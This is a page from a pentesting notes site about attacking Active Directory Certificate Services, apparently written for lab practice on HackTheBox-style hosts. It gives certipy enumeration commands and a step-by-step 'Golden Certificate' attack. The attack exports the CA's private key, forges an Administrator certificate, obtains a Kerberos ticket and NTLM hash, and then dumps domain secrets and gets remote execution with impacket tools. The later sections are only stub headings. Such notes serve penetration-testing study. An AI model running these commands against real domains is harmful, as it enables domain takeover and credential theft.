Rednote
GuidebooksTerminalCode
  • Welcome!
  • Utility
    • General
    • Server
    • Transferring File
      • Main
      • Code
      • Miscellaneous
    • Reverse & Bind Shells
      • Havoc
    • Metasploit
    • Service
      • FTP (21)
      • SSH (22)
      • DNS (53)
      • HTTP/HTTPS (80-443)
      • SMTP (25-465-587)
      • POP3 (110-995)
      • IMAP (143-993)
      • MySQL (3306)
      • MSSQL (1433-2433)
      • SMB (139-445)
      • RDP (3389)
      • WinRM (5985-5986)
      • WMI (135)
      • LLMNR & NBT-NS (5355-137)
      • NFS (111-2049)
      • SNMP (161-162)
      • VNC (5900)
      • Rsync (873)
      • R-Service (512-513-514)
      • IPMI (623)
      • Oracle TNS (1521)
  • Pentesting Process
    • Information Gathering
      • Passive
      • Active
      • OSINT
    • Vulnerability
    • Web Attacks
      • GENERAL
      • Crawling/Spidering & Fuzzing
      • Information Disclosure
      • Command Injection
      • Unrestricted File Upload
      • File Inclusion/Path Traversal
      • Request Smuggling
      • Clickjacking
      • Web Cache Poisoning
      • Web Cache Deception
      • Insecure Deserialization
      • Prototype Pollution
      • OAuth 2.0
      • JWT
      • SQLi
        • sqlmap
      • NoSQLi
      • GraphQL
      • XSS
      • SSRF
      • XXE
      • IDOR
      • API
      • SSTI
      • CSRF
      • CORS
      • AJP
      • SSI
      • ESI
      • XSLT
      • Cloud
      • LLM Prompt Security
    • Software Attacks
      • Binary
      • Shellcode
      • AV Evasion & Obfuscation
    • Network Attacks
      • ARP Poisoning
      • Local DNS Cache Poisoning
      • Baby Local DoS
    • Crypto Attacks
      • Utility
      • RSA
      • DSA/DSS
      • PRNG
        • LGC
        • MT
        • LFSR
    • Misc Attacks
    • Social Engineering
    • Password Cracking
      • Wordlist
      • Offline
      • Online
    • Pivoting & Tunneling
    • Local Enumeration
      • Linux
      • Windows
    • Privilege Escalation
      • Linux
        • Linux Privilege Escalation with Groups
        • Linux Privilege Escalation with Library
      • Windows
        • Windows Privilege Escalation with Groups and Privileges
        • Windows Privilege Escalation with DLL Hijacking
    • Active Directory
      • Enumeration
      • Abuse ACL
      • Extract Hash & Password
      • Pass The Hash
      • Pass The Ticket
      • Overpass the Hash
      • Relay Attack
      • Password Spraying Attack
      • AS-REP Roasting
      • Kerberoasting
      • Silver Ticket
      • Golden Ticket
      • DC Synchronization
      • AD Certificates
      • Attacking Domain Trusts
    • Reports
      • Bug Bounty Report
    • CVE
      • Linux
      • Windows
    • OTHER
      • CMS
        • WordPress
        • Joomla
        • Drupal
      • Tomcat
      • Jenkins
      • Splunk
      • Web Service
      • Navigating Python Objects
      • JavaScript Deobfuscation
  • Extra
    • My Books
    • My Exploits
    • Compiled Binaries
Powered by GitBook
On this page
  • Identification
  • Attacks
  • Golden Certificate
  • PERSIST
  • ESC
  • DPERSIST
  • THEFT

Was this helpful?

  1. Pentesting Process
  2. Active Directory

AD Certificates

Last updated 8 days ago

Was this helpful?

See .

A CA (Certification Authority) is part of the Active Directory Certificate Services (AD CS).

A CA is installed when the organization wants to use:

  • Authentication via certificates (Kerberos authentication with certificate (PKINIT) instead of using passwords/hashes)

  • Smart cards, VPN certificates, corporate Wi-Fi

  • Single Sign-On with certificates

  • Or when certificates are needed for machines/users/services

Identification

Use for enumeration and identifying vulnerable templates.

certipy find -u user -p pass -dc-ip 10.10.10.1 -stdout
certipy find -vulnerable -u <USER>@<DOMAIN> -p <PASSWORD> -dc-ip <DC> -stdout

Attacks

Golden Certificate

If you compromise the CA (obtain its .pfx), you can:

  • Sign a certificate for Administrator

  • Use it to obtain a TGT via PKINIT

  • Access the domain as if you were him

If you have read access to the disk, from the Windows victim:

certutil -store My
# find "Certificate Type: CA" and note the "Serial Number" or "Subject"

Obtain its .pfx

certutil -exportPFX My "<Serial_Number>" .\ca.pfx

Always use sudo ntpdate <DC_IP> before.

# Generate a .pfx file signed by your compromised CA.
certipy forge -ca-pfx ca.pfx -upn Administrator@certificate.htb -subject 'CN=ADMINISTRATOR,CN=USERS,DC=CERTIFICATE,DC=HTB' -out adm_cert.pfx
# Authenticate with the certificate you created (Kerberos + PKINIT) and get TGT (.ccache file) and NTLM HASH!
certipy auth -pfx adm_cert.pfx -dc-ip <IP_DC>
# Use the .ccache ticket
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass -target-ip <DC_IP> -dc-ip <DC_IP> certificate.htb/Administrator@DC01.certificate.htb
impacket-smbclient -k -no-pass -target-ip <DC_IP> -dc-ip <DC_IP> certificate.htb/Administrator@DC01.certificate.htb
impacket-wmiexec -k -no-pass -target-ip <DC_IP> -dc-ip <DC_IP> certificate.htb/Administrator@DC01.certificate.htb
impacket-psexec -k -no-pass -target-ip <DC_IP> -dc-ip <DC_IP> certificate.htb/Administrator@DC01.certificate.htb
...

Account Persistance.

Domain Persistance

Certificate Theft

Use from linux to craft Golden Certificate.

Domain Escalation. (see also )

HERE
Certipy
Certipy
PERSIST
ESC
here
DPERSIST
THEFT